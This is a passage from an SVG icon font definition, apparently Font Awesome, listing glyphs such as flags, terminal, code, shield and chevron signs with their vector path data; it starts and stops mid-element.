h-864q-16 0 -16 16v96q0 16 16 16h864q16 0 16 -16zM768 624v-96q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16h96q16 0 16 -16zM640 880v-96q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16h96q16 0 16 -16zM1024 624v-96q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16
h96q16 0 16 -16zM896 880v-96q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16h96q16 0 16 -16zM1280 624v-96q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16h96q16 0 16 -16zM1664 368v-96q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16h96q16 0 16 -16zM1152 880v-96
q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16h96q16 0 16 -16zM1408 880v-96q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16h96q16 0 16 -16zM1664 880v-352q0 -16 -16 -16h-224q-16 0 -16 16v96q0 16 16 16h112v240q0 16 16 16h96q16 0 16 -16zM1792 128v896h-1664v-896
h1664zM1920 1024v-896q0 -53 -37.5 -90.5t-90.5 -37.5h-1664q-53 0 -90.5 37.5t-37.5 90.5v896q0 53 37.5 90.5t90.5 37.5h1664q53 0 90.5 -37.5t37.5 -90.5z" />
    <glyph glyph-name="flag_alt" unicode="&#xf11d;" horiz-adv-x="1792" 
d="M1664 491v616q-169 -91 -306 -91q-82 0 -145 32q-100 49 -184 76.5t-178 27.5q-173 0 -403 -127v-599q245 113 433 113q55 0 103.5 -7.5t98 -26t77 -31t82.5 -39.5l28 -14q44 -22 101 -22q120 0 293 92zM320 1280q0 -35 -17.5 -64t-46.5 -46v-1266q0 -14 -9 -23t-23 -9
h-64q-14 0 -23 9t-9 23v1266q-29 17 -46.5 46t-17.5 64q0 53 37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1792 1216v-763q0 -39 -35 -57q-10 -5 -17 -9q-218 -116 -369 -116q-88 0 -158 35l-28 14q-64 33 -99 48t-91 29t-114 14q-102 0 -235.5 -44t-228.5 -102
q-15 -9 -33 -9q-16 0 -32 8q-32 19 -32 56v742q0 35 31 55q35 21 78.5 42.5t114 52t152.5 49.5t155 19q112 0 209 -31t209 -86q38 -19 89 -19q122 0 310 112q22 12 31 17q31 16 62 -2q31 -20 31 -55z" />
    <glyph glyph-name="flag_checkered" unicode="&#xf11e;" horiz-adv-x="1792" 
d="M832 536v192q-181 -16 -384 -117v-185q205 96 384 110zM832 954v197q-172 -8 -384 -126v-189q215 111 384 118zM1664 491v184q-235 -116 -384 -71v224q-20 6 -39 15q-5 3 -33 17t-34.5 17t-31.5 15t-34.5 15.5t-32.5 13t-36 12.5t-35 8.5t-39.5 7.5t-39.5 4t-44 2
q-23 0 -49 -3v-222h19q102 0 192.5 -29t197.5 -82q19 -9 39 -15v-188q42 -17 91 -17q120 0 293 92zM1664 918v189q-169 -91 -306 -91q-45 0 -78 8v-196q148 -42 384 90zM320 1280q0 -35 -17.5 -64t-46.5 -46v-1266q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v1266
q-29 17 -46.5 46t-17.5 64q0 53 37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1792 1216v-763q0 -39 -35 -57q-10 -5 -17 -9q-218 -116 -369 -116q-88 0 -158 35l-28 14q-64 33 -99 48t-91 29t-114 14q-102 0 -235.5 -44t-228.5 -102q-15 -9 -33 -9q-16 0 -32 8
q-32 19 -32 56v742q0 35 31 55q35 21 78.5 42.5t114 52t152.5 49.5t155 19q112 0 209 -31t209 -86q38 -19 89 -19q122 0 310 112q22 12 31 17q31 16 62 -2q31 -20 31 -55z" />
    <glyph glyph-name="terminal" unicode="&#xf120;" horiz-adv-x="1664" 
d="M585 553l-466 -466q-10 -10 -23 -10t-23 10l-50 50q-10 10 -10 23t10 23l393 393l-393 393q-10 10 -10 23t10 23l50 50q10 10 23 10t23 -10l466 -466q10 -10 10 -23t-10 -23zM1664 96v-64q0 -14 -9 -23t-23 -9h-960q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h960q14 0 23 -9
t9 -23z" />
    <glyph glyph-name="code" unicode="&#xf121;" horiz-adv-x="1920" 
d="M617 137l-50 -50q-10 -10 -23 -10t-23 10l-466 466q-10 10 -10 23t10 23l466 466q10 10 23 10t23 -10l50 -50q10 -10 10 -23t-10 -23l-393 -393l393 -393q10 -10 10 -23t-10 -23zM1208 1204l-373 -1291q-4 -13 -15.5 -19.5t-23.5 -2.5l-62 17q-13 4 -19.5 15.5t-2.5 24.5
l373 1291q4 13 15.5 19.5t23.5 2.5l62 -17q13 -4 19.5 -15.5t2.5 -24.5zM1865 553l-466 -466q-10 -10 -23 -10t-23 10l-50 50q-10 10 -10 23t10 23l393 393l-393 393q-10 10 -10 23t10 23l50 50q10 10 23 10t23 -10l466 -466q10 -10 10 -23t-10 -23z" />
    <glyph glyph-name="reply_all" unicode="&#xf122;" horiz-adv-x="1792" 
d="M640 454v-70q0 -42 -39 -59q-13 -5 -25 -5q-27 0 -45 19l-512 512q-19 19 -19 45t19 45l512 512q29 31 70 14q39 -17 39 -59v-69l-397 -398q-19 -19 -19 -45t19 -45zM1792 416q0 -58 -17 -133.5t-38.5 -138t-48 -125t-40.5 -90.5l-20 -40q-8 -17 -28 -17q-6 0 -9 1
q-25 8 -23 34q43 400 -106 565q-64 71 -170.5 110.5t-267.5 52.5v-251q0 -42 -39 -59q-13 -5 -25 -5q-27 0 -45 19l-512 512q-19 19 -19 45t19 45l512 512q29 31 70 14q39 -17 39 -59v-262q411 -28 599 -221q169 -173 169 -509z" />
    <glyph glyph-name="star_half_empty" unicode="&#xf123;" horiz-adv-x="1664" 
d="M1186 579l257 250l-356 52l-66 10l-30 60l-159 322v-963l59 -31l318 -168l-60 355l-12 66zM1638 841l-363 -354l86 -500q5 -33 -6 -51.5t-34 -18.5q-17 0 -40 12l-449 236l-449 -236q-23 -12 -40 -12q-23 0 -34 18.5t-6 51.5l86 500l-364 354q-32 32 -23 59.5t54 34.5
l502 73l225 455q20 41 49 41q28 0 49 -41l225 -455l502 -73q45 -7 54 -34.5t-24 -59.5z" />
    <glyph glyph-name="location_arrow" unicode="&#xf124;" horiz-adv-x="1408" 
d="M1401 1187l-640 -1280q-17 -35 -57 -35q-5 0 -15 2q-22 5 -35.5 22.5t-13.5 39.5v576h-576q-22 0 -39.5 13.5t-22.5 35.5t4 42t29 30l1280 640q13 7 29 7q27 0 45 -19q15 -14 18.5 -34.5t-6.5 -39.5z" />
    <glyph glyph-name="crop" unicode="&#xf125;" horiz-adv-x="1664" 
d="M557 256h595v595zM512 301l595 595h-595v-595zM1664 224v-192q0 -14 -9 -23t-23 -9h-224v-224q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v224h-864q-14 0 -23 9t-9 23v864h-224q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h224v224q0 14 9 23t23 9h192q14 0 23 -9t9 -23
v-224h851l246 247q10 9 23 9t23 -9q9 -10 9 -23t-9 -23l-247 -246v-851h224q14 0 23 -9t9 -23z" />
    <glyph glyph-name="code_fork" unicode="&#xf126;" horiz-adv-x="1024" 
d="M288 64q0 40 -28 68t-68 28t-68 -28t-28 -68t28 -68t68 -28t68 28t28 68zM288 1216q0 40 -28 68t-68 28t-68 -28t-28 -68t28 -68t68 -28t68 28t28 68zM928 1088q0 40 -28 68t-68 28t-68 -28t-28 -68t28 -68t68 -28t68 28t28 68zM1024 1088q0 -52 -26 -96.5t-70 -69.5
q-2 -287 -226 -414q-67 -38 -203 -81q-128 -40 -169.5 -71t-41.5 -100v-26q44 -25 70 -69.5t26 -96.5q0 -80 -56 -136t-136 -56t-136 56t-56 136q0 52 26 96.5t70 69.5v820q-44 25 -70 69.5t-26 96.5q0 80 56 136t136 56t136 -56t56 -136q0 -52 -26 -96.5t-70 -69.5v-497
q54 26 154 57q55 17 87.5 29.5t70.5 31t59 39.5t40.5 51t28 69.5t8.5 91.5q-44 25 -70 69.5t-26 96.5q0 80 56 136t136 56t136 -56t56 -136z" />
    <glyph glyph-name="unlink" unicode="&#xf127;" horiz-adv-x="1664" 
d="M439 265l-256 -256q-11 -9 -23 -9t-23 9q-9 10 -9 23t9 23l256 256q10 9 23 9t23 -9q9 -10 9 -23t-9 -23zM608 224v-320q0 -14 -9 -23t-23 -9t-23 9t-9 23v320q0 14 9 23t23 9t23 -9t9 -23zM384 448q0 -14 -9 -23t-23 -9h-320q-14 0 -23 9t-9 23t9 23t23 9h320
q14 0 23 -9t9 -23zM1648 320q0 -120 -85 -203l-147 -146q-83 -83 -203 -83q-121 0 -204 85l-334 335q-21 21 -42 56l239 18l273 -274q27 -27 68 -27.5t68 26.5l147 146q28 28 28 67q0 40 -28 68l-274 275l18 239q35 -21 56 -42l336 -336q84 -86 84 -204zM1031 1044l-239 -18
l-273 274q-28 28 -68 28q-39 0 -68 -27l-147 -146q-28 -28 -28 -67q0 -40 28 -68l274 -274l-18 -240q-35 21 -56 42l-336 336q-84 86 -84 204q0 120 85 203l147 146q83 83 203 83q121 0 204 -85l334 -335q21 -21 42 -56zM1664 960q0 -14 -9 -23t-23 -9h-320q-14 0 -23 9
t-9 23t9 23t23 9h320q14 0 23 -9t9 -23zM1120 1504v-320q0 -14 -9 -23t-23 -9t-23 9t-9 23v320q0 14 9 23t23 9t23 -9t9 -23zM1527 1353l-256 -256q-11 -9 -23 -9t-23 9q-9 10 -9 23t9 23l256 256q10 9 23 9t23 -9q9 -10 9 -23t-9 -23z" />
    <glyph glyph-name="question" unicode="&#xf128;" horiz-adv-x="1024" 
d="M704 280v-240q0 -16 -12 -28t-28 -12h-240q-16 0 -28 12t-12 28v240q0 16 12 28t28 12h240q16 0 28 -12t12 -28zM1020 880q0 -54 -15.5 -101t-35 -76.5t-55 -59.5t-57.5 -43.5t-61 -35.5q-41 -23 -68.5 -65t-27.5 -67q0 -17 -12 -32.5t-28 -15.5h-240q-15 0 -25.5 18.5
t-10.5 37.5v45q0 83 65 156.5t143 108.5q59 27 84 56t25 76q0 42 -46.5 74t-107.5 32q-65 0 -108 -29q-35 -25 -107 -115q-13 -16 -31 -16q-12 0 -25 8l-164 125q-13 10 -15.5 25t5.5 28q160 266 464 266q80 0 161 -31t146 -83t106 -127.5t41 -158.5z" />
    <glyph glyph-name="_279" unicode="&#xf129;" horiz-adv-x="640" 
d="M640 192v-128q0 -26 -19 -45t-45 -19h-512q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h64v384h-64q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h384q26 0 45 -19t19 -45v-576h64q26 0 45 -19t19 -45zM512 1344v-192q0 -26 -19 -45t-45 -19h-256q-26 0 -45 19t-19 45v192
q0 26 19 45t45 19h256q26 0 45 -19t19 -45z" />
    <glyph glyph-name="exclamation" unicode="&#xf12a;" horiz-adv-x="640" 
d="M512 288v-224q0 -26 -19 -45t-45 -19h-256q-26 0 -45 19t-19 45v224q0 26 19 45t45 19h256q26 0 45 -19t19 -45zM542 1344l-28 -768q-1 -26 -20.5 -45t-45.5 -19h-256q-26 0 -45.5 19t-20.5 45l-28 768q-1 26 17.5 45t44.5 19h320q26 0 44.5 -19t17.5 -45z" />
    <glyph glyph-name="superscript" unicode="&#xf12b;" 
d="M897 167v-167h-248l-159 252l-24 42q-8 9 -11 21h-3q-1 -3 -2.5 -6.5t-3.5 -8t-3 -6.5q-10 -20 -25 -44l-155 -250h-258v167h128l197 291l-185 272h-137v168h276l139 -228q2 -4 23 -42q8 -9 11 -21h3q3 9 11 21l25 42l140 228h257v-168h-125l-184 -267l204 -296h109z
M1534 846v-206h-514l-3 27q-4 28 -4 46q0 64 26 117t65 86.5t84 65t84 54.5t65 54t26 64q0 38 -29.5 62.5t-70.5 24.5q-51 0 -97 -39q-14 -11 -36 -38l-105 92q26 37 63 66q83 65 188 65q110 0 178 -59.5t68 -158.5q0 -56 -24.5 -103t-62 -76.5t-81.5 -58.5t-82 -50.5
t-65.5 -51.5t-30.5 -63h232v80h126z" />
    <glyph glyph-name="subscript" unicode="&#xf12c;" 
d="M897 167v-167h-248l-159 252l-24 42q-8 9 -11 21h-3q-1 -3 -2.5 -6.5t-3.5 -8t-3 -6.5q-10 -20 -25 -44l-155 -250h-258v167h128l197 291l-185 272h-137v168h276l139 -228q2 -4 23 -42q8 -9 11 -21h3q3 9 11 21l25 42l140 228h257v-168h-125l-184 -267l204 -296h109z
M1536 -50v-206h-514l-4 27q-3 45 -3 46q0 64 26 117t65 86.5t84 65t84 54.5t65 54t26 64q0 38 -29.5 62.5t-70.5 24.5q-51 0 -97 -39q-14 -11 -36 -38l-105 92q26 37 63 66q80 65 188 65q110 0 178 -59.5t68 -158.5q0 -66 -34.5 -118.5t-84 -86t-99.5 -62.5t-87 -63t-41 -73
h232v80h126z" />
    <glyph glyph-name="_283" unicode="&#xf12d;" horiz-adv-x="1920" 
d="M896 128l336 384h-768l-336 -384h768zM1909 1205q15 -34 9.5 -71.5t-30.5 -65.5l-896 -1024q-38 -44 -96 -44h-768q-38 0 -69.5 20.5t-47.5 54.5q-15 34 -9.5 71.5t30.5 65.5l896 1024q38 44 96 44h768q38 0 69.5 -20.5t47.5 -54.5z" />
    <glyph glyph-name="puzzle_piece" unicode="&#xf12e;" horiz-adv-x="1664" 
d="M1664 438q0 -81 -44.5 -135t-123.5 -54q-41 0 -77.5 17.5t-59 38t-56.5 38t-71 17.5q-110 0 -110 -124q0 -39 16 -115t15 -115v-5q-22 0 -33 -1q-34 -3 -97.5 -11.5t-115.5 -13.5t-98 -5q-61 0 -103 26.5t-42 83.5q0 37 17.5 71t38 56.5t38 59t17.5 77.5q0 79 -54 123.5
t-135 44.5q-84 0 -143 -45.5t-59 -127.5q0 -43 15 -83t33.5 -64.5t33.5 -53t15 -50.5q0 -45 -46 -89q-37 -35 -117 -35q-95 0 -245 24q-9 2 -27.5 4t-27.5 4l-13 2q-1 0 -3 1q-2 0 -2 1v1024q2 -1 17.5 -3.5t34 -5t21.5 -3.5q150 -24 245 -24q80 0 117 35q46 44 46 89
q0 22 -15 50.5t-33.5 53t-33.5 64.5t-15 83q0 82 59 127.5t144 45.5q80 0 134 -44.5t54 -123.5q0 -41 -17.5 -77.5t-38 -59t-38 -56.5t-17.5 -71q0 -57 42 -83.5t103 -26.5q64 0 180 15t163 17v-2q-1 -2 -3.5 -17.5t-5 -34t-3.5 -21.5q-24 -150 -24 -245q0 -80 35 -117
q44 -46 89 -46q22 0 50.5 15t53 33.5t64.5 33.5t83 15q82 0 127.5 -59t45.5 -143z" />
    <glyph glyph-name="microphone" unicode="&#xf130;" horiz-adv-x="1152" 
d="M1152 832v-128q0 -221 -147.5 -384.5t-364.5 -187.5v-132h256q26 0 45 -19t19 -45t-19 -45t-45 -19h-640q-26 0 -45 19t-19 45t19 45t45 19h256v132q-217 24 -364.5 187.5t-147.5 384.5v128q0 26 19 45t45 19t45 -19t19 -45v-128q0 -185 131.5 -316.5t316.5 -131.5
t316.5 131.5t131.5 316.5v128q0 26 19 45t45 19t45 -19t19 -45zM896 1216v-512q0 -132 -94 -226t-226 -94t-226 94t-94 226v512q0 132 94 226t226 94t226 -94t94 -226z" />
    <glyph glyph-name="microphone_off" unicode="&#xf131;" horiz-adv-x="1408" 
d="M271 591l-101 -101q-42 103 -42 214v128q0 26 19 45t45 19t45 -19t19 -45v-128q0 -53 15 -113zM1385 1193l-361 -361v-128q0 -132 -94 -226t-226 -94q-55 0 -109 19l-96 -96q97 -51 205 -51q185 0 316.5 131.5t131.5 316.5v128q0 26 19 45t45 19t45 -19t19 -45v-128
q0 -221 -147.5 -384.5t-364.5 -187.5v-132h256q26 0 45 -19t19 -45t-19 -45t-45 -19h-640q-26 0 -45 19t-19 45t19 45t45 19h256v132q-125 13 -235 81l-254 -254q-10 -10 -23 -10t-23 10l-82 82q-10 10 -10 23t10 23l1234 1234q10 10 23 10t23 -10l82 -82q10 -10 10 -23
t-10 -23zM1005 1325l-621 -621v512q0 132 94 226t226 94q102 0 184.5 -59t116.5 -152z" />
    <glyph glyph-name="shield" unicode="&#xf132;" horiz-adv-x="1280" 
d="M1088 576v640h-448v-1137q119 63 213 137q235 184 235 360zM1280 1344v-768q0 -86 -33.5 -170.5t-83 -150t-118 -127.5t-126.5 -103t-121 -77.5t-89.5 -49.5t-42.5 -20q-12 -6 -26 -6t-26 6q-16 7 -42.5 20t-89.5 49.5t-121 77.5t-126.5 103t-118 127.5t-83 150
t-33.5 170.5v768q0 26 19 45t45 19h1152q26 0 45 -19t19 -45z" />
    <glyph glyph-name="calendar_empty" unicode="&#xf133;" horiz-adv-x="1664" 
d="M128 -128h1408v1024h-1408v-1024zM512 1088v288q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-288q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1280 1088v288q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-288q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1664 1152v-1280
q0 -52 -38 -90t-90 -38h-1408q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h128v96q0 66 47 113t113 47h64q66 0 113 -47t47 -113v-96h384v96q0 66 47 113t113 47h64q66 0 113 -47t47 -113v-96h128q52 0 90 -38t38 -90z" />
    <glyph glyph-name="fire_extinguisher" unicode="&#xf134;" horiz-adv-x="1408" 
d="M512 1344q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1408 1376v-320q0 -16 -12 -25q-8 -7 -20 -7q-4 0 -7 1l-448 96q-11 2 -18 11t-7 20h-256v-102q111 -23 183.5 -111t72.5 -203v-800q0 -26 -19 -45t-45 -19h-512q-26 0 -45 19t-19 45v800
q0 106 62.5 190.5t161.5 114.5v111h-32q-59 0 -115 -23.5t-91.5 -53t-66 -66.5t-40.5 -53.5t-14 -24.5q-17 -35 -57 -35q-16 0 -29 7q-23 12 -31.5 37t3.5 49q5 10 14.5 26t37.5 53.5t60.5 70t85 67t108.5 52.5q-25 42 -25 86q0 66 47 113t113 47t113 -47t47 -113
q0 -33 -14 -64h302q0 11 7 20t18 11l448 96q3 1 7 1q12 0 20 -7q12 -9 12 -25z" />
    <glyph glyph-name="rocket" unicode="&#xf135;" horiz-adv-x="1664" 
d="M1440 1088q0 40 -28 68t-68 28t-68 -28t-28 -68t28 -68t68 -28t68 28t28 68zM1664 1376q0 -249 -75.5 -430.5t-253.5 -360.5q-81 -80 -195 -176l-20 -379q-2 -16 -16 -26l-384 -224q-7 -4 -16 -4q-12 0 -23 9l-64 64q-13 14 -8 32l85 276l-281 281l-276 -85q-3 -1 -9 -1
q-14 0 -23 9l-64 64q-17 19 -5 39l224 384q10 14 26 16l379 20q96 114 176 195q188 187 358 258t431 71q14 0 24 -9.5t10 -22.5z" />
    <glyph glyph-name="maxcdn" unicode="&#xf136;" horiz-adv-x="1792" 
d="M1745 763l-164 -763h-334l178 832q13 56 -15 88q-27 33 -83 33h-169l-204 -953h-334l204 953h-286l-204 -953h-334l204 953l-153 327h1276q101 0 189.5 -40.5t147.5 -113.5q60 -73 81 -168.5t0 -194.5z" />
    <glyph glyph-name="chevron_sign_left" unicode="&#xf137;" 
d="M909 141l102 102q19 19 19 45t-19 45l-307 307l307 307q19 19 19 45t-19 45l-102 102q-19 19 -45 19t-45 -19l-454 -454q-19 -19 -19 -45t19 -45l454 -454q19 -19 45 -19t45 19zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5
t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="chevron_sign_right" unicode="&#xf138;" 
d="M717 141l454 454q19 19 19 45t-19 45l-454 454q-19 19 -45 19t-45 -19l-102 -102q-19 -19 -19 -45t19 -45l307 -307l-307 -307q-19 -19 -19 -45t19 -45l102 -102q19 -19 45 -19t45 19zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5
t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="chevron_sign_up" unicode="&#xf139;" 
d="M1165 397l102 102q19 19 19 45t-19 45l-454 454q-19 19 -45 19t-45 -19l-454 -454q-19 -19 -19 -45t19 -45l102 -102q19 -19 45 -19t45 19l307 307l307 -307q19 -19 45 -19t45 19zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5
t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="chevron_sign_down" unicode="&#xf13a;" 
d="M813 237l454 454q19 19 19 45t-19 45l-102 102q-19 19 -45 19t-45 -19l-307 -307l-307 307q-19 19 -45 19t-45 -19l-102 -102q-19 -19 -19 -45t19 -45l454 -454q19 -19 45 -19t45 19zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5
t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="html5" unicode="&#xf13b;" horiz-adv-x="1408" 
d="M1130 939l16 175h-884l47 -534h612l-22 -228l-197 -53l-196 53l-13 140h-175l22 -278l362 -100h4v1l359 99l50 544h-644l-15 181h674zM0 1408h1408l-128 -1438l-578 -162l-574 162z" />
    <glyph glyph-name="css3" unicode="&#xf13c;" horiz-adv-x="1792" 
d="M275 1408h1505l-266 -1333l-804 -267l-698 267l71 356h297l-29 -147l422 -161l486 161l68 339h-1208l58 297h1209l38 191h-1208z" />
    <glyph glyph-name="anchor" unicode="&#xf13d;" horiz-adv-x="1792" 
d="M960 1280q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1792 352v-352q0 -22 -20 -30q-8 -2 -12 -2q-12 0 -23 9l-93 93q-119 -143 -318.5 -226.5t-429.5 -83.5t-429.5 83.5t-318.5 226.5l-93 -93q-9 -9 -23 -9q-4 0 -12 2q-20 8 -20 30v352
q0 14 9 23t23 9h352q22 0 30 -20q8 -19 -7 -35l-100 -100q67 -91 189.5 -153.5t271.5 -82.5v647h-192q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h192v163q-58 34 -93 92.5t-35 128.5q0 106 75 181t181 75t181 -75t75 -181q0 -70 -35 -128.5t-93 -92.5v-163h192q26 0 45 -19
t19 -45v-128q0 -26 -19 -45t-45 -19h-192v-647q149 20 271.5 82.5t189.5 153.5l-100 100q-15 16 -7 35q8 20 30 20h352q14 0 23 -9t9 -23z" />
    <glyph glyph-name="unlock_alt" unicode="&#xf13e;" horiz-adv-x="1152" 
d="M1056 768q40 0 68 -28t28 -68v-576q0 -40 -28 -68t-68 -28h-960q-40 0 -68 28t-28 68v576q0 40 28 68t68 28h32v320q0 185 131.5 316.5t316.5 131.5t316.5 -131.5t131.5 -316.5q0 -26 -19 -45t-45 -19h-64q-26 0 -45 19t-19 45q0 106 -75 181t-181 75t-181 -75t-75 -181
v-320h736z" />
    <glyph glyph-name="bullseye" unicode="&#xf140;" 
d="M1024 640q0 -106 -75 -181t-181 -75t-181 75t-75 181t75 181t181 75t181 -75t75 -181zM1152 640q0 159 -112.5 271.5t-271.5 112.5t-271.5 -112.5t-112.5 -271.5t112.5 -271.5t271.5 -112.5t271.5 112.5t112.5 271.5zM1280 640q0 -212 -150 -362t-362 -150t-362 150
t-150 362t150 362t362 150t362 -150t150 -362zM1408 640q0 130 -51 248.5t-136.5 204t-204 136.5t-248.5 51t-248.5 -51t-204 -136.5t-136.5 -204t-51 -248.5t51 -248.5t136.5 -204t204 -136.5t248.5 -51t248.5 51t204 136.5t136.5 204t51 248.5zM1536 640
q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="ellipsis_horizontal" unicode="&#xf141;" horiz-adv-x="1408" 
d="M384 800v-192q0 -40 -28 -68t-68 -28h-192q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h192q40 0 68 -28t28 -68zM896 800v-192q0 -40 -28 -68t-68 -28h-192q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h192q40 0 68 -28t28 -68zM1408 800v-192q0 -40 -28 -68t-68 -28h-192
q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h192q40 0 68 -28t28 -68z" />
    <glyph glyph-name="ellipsis_vertical" unicode="&#xf142;" horiz-adv-x="384" 
d="M384 288v-192q0 -40 -28 -68t-68 -28h-192q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h192q40 0 68 -28t28 -68zM384 800v-192q0 -40 -28 -68t-68 -28h-192q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h192q40 0 68 -28t28 -68zM384 1312v-192q0 -40 -28 -68t-68 -28h-192
q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h192q40 0 68 -28t28 -68z" />
    <glyph glyph-name="_303" unicode="&#xf143;" 
d="M512 256q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM863 162q-13 233 -176.5 396.5t-396.5 176.5q-14 1 -24 -9t-10 -23v-128q0 -13 8.5 -22t21.5 -10q154 -11 264 -121t121 -264q1 -13 10 -21.5t22 -8.5h128
q13 0 23 10t9 24zM1247 161q-5 154 -56 297.5t-139.5 260t-205 205t-260 139.5t-297.5 56q-14 1 -23 -9q-10 -10 -10 -23v-128q0 -13 9 -22t22 -10q204 -7 378 -111.5t278.5 -278.5t111.5 -378q1 -13 10 -22t22 -9h128q13 0 23 10q11 9 9 23zM1536 1120v-960
q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="play_sign" unicode="&#xf144;" 
d="M768 1408q209 0 385.5 -103t279.5 -279.5t103 -385.5t-103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103zM1152 585q32 18 32 55t-32 55l-544 320q-31 19 -64 1q-32 -19 -32 -56v-640q0 -37 32 -56
q16 -8 32 -8q17 0 32 9z" />
    <glyph glyph-name="ticket" unicode="&#xf145;" horiz-adv-x="1792" 
d="M1024 1084l316 -316l-572 -572l-316 316zM813 105l618 618q19 19 19 45t-19 45l-362 362q-18 18 -45 18t-45 -18l-618 -618q-19 -19 -19 -45t19 -45l362 -362q18 -18 45 -18t45 18zM1702 742l-907 -908q-37 -37 -90.5 -37t-90.5 37l-126 126q56 56 56 136t-56 136
t-136 56t-136 -56l-125 126q-37 37 -37 90.5t37 90.5l907 906q37 37 90.5 37t90.5 -37l125 -125q-56 -56 -56 -136t56 -136t136 -56t136 56l126 -125q37 -37 37 -90.5t-37 -90.5z" />
    <glyph glyph-name="minus_sign_alt" unicode="&#xf146;" 
d="M1280 576v128q0 26 -19 45t-45 19h-896q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h896q26 0 45 19t19 45zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5
t84.5 -203.5z" />
    <glyph glyph-name="check_minus" unicode="&#xf147;" horiz-adv-x="1408" 
d="M1152 736v-64q0 -14 -9 -23t-23 -9h-832q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h832q14 0 23 -9t9 -23zM1280 288v832q0 66 -47 113t-113 47h-832q-66 0 -113 -47t-47 -113v-832q0 -66 47 -113t113 -47h832q66 0 113 47t47 113zM1408 1120v-832q0 -119 -84.5 -203.5
t-203.5 -84.5h-832q-119 0 -203.5 84.5t-84.5 203.5v832q0 119 84.5 203.5t203.5 84.5h832q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="level_up" unicode="&#xf148;" horiz-adv-x="1024" 
d="M1018 933q-18 -37 -58 -37h-192v-864q0 -14 -9 -23t-23 -9h-704q-21 0 -29 18q-8 20 4 35l160 192q9 11 25 11h320v640h-192q-40 0 -58 37q-17 37 9 68l320 384q18 22 49 22t49 -22l320 -384q27 -32 9 -68z" />
    <glyph glyph-name="level_down" unicode="&#xf149;" horiz-adv-x="1024" 
d="M32 1280h704q13 0 22.5 -9.5t9.5 -23.5v-863h192q40 0 58 -37t-9 -69l-320 -384q-18 -22 -49 -22t-49 22l-320 384q-26 31 -9 69q18 37 58 37h192v640h-320q-14 0 -25 11l-160 192q-13 14 -4 34q9 19 29 19z" />
    <glyph glyph-name="check_sign" unicode="&#xf14a;" 
d="M685 237l614 614q19 19 19 45t-19 45l-102 102q-19 19 -45 19t-45 -19l-467 -467l-211 211q-19 19 -45 19t-45 -19l-102 -102q-19 -19 -19 -45t19 -45l358 -358q19 -19 45 -19t45 19zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5
t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="edit_sign" unicode="&#xf14b;" 
